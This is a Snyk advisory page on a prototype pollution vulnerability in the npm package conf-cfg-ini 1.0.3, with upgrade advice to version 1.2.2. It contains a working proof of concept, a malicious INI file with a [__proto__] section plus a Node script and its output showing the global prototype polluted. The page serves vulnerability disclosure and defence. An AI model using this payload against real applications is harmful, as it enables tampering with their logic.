Homepage
About Snyk

conf-cfg-ini@1.0.3 vulnerabilities

encode and decode ini,conf,cfg files

Go back to all versions of this package
Report a new vulnerability Found a mistake?

Direct Vulnerabilities

Known vulnerabilities in the conf-cfg-ini package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • H
Prototype Pollution

conf-cfg-ini is an encode and decode ini,conf,cfg files

Affected versions of this package are vulnerable to Prototype Pollution. If an attacker submits a malicious INI file to an application that parses it with decode, they will pollute the prototype on the application. This can be exploited further depending on the context.

##PoC by Eugene Lim:

payload.ini

[__proto__]
polluted=polluted

poc.js:

var fs = require('fs')
var Config = require('conf-cfg-ini')

var config = new Config();
config.options.lineEnding = config.detectLineEnding(fs.readFileSync('./payload.ini', 'utf-8'));
var parsed = config.decode(fs.readFileSync('./payload.ini', 'utf-8'))
console.log(parsed)
console.log(parsed.__proto__)
console.log({}.__proto__)
console.log(polluted)

> node poc.js
{}
{ polluted: 'polluted' }
{ polluted: 'polluted' }
polluted

How to fix Prototype Pollution?

Upgrade conf-cfg-ini to version 1.2.2 or higher.

<1.2.2
Go back to all versions of this package